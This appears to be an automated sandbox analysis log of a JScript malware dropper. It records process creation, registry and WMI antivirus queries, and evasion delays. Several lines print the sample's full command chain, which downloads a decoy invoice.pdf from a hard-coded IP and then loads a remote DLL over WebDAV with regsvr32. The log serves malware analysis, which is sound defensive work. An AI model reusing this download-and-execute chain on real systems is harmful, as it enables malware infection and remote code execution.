Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7896.js.csv");ITextStream.WriteLine(" entry:7501 f:jbowxwgm");ITextStream.WriteLine(" exec:2 f:jbowxwgm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49776

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5265			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4408			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep count: 5265 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep count: 4408 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7708	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7716	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7904	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7192	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1455044219.000001BAC7A1E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1453457702.000001BAC7A1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWdv^r2b
Source: net.exe, 00000007.00000002.1455044219.000001BAC7A1E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1453457702.000001BAC7A1E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1454535779.000001BAC79B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2655912439.000001CB2EE42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2656005132.000001CB2EE55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2654063010.000001CB2982B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
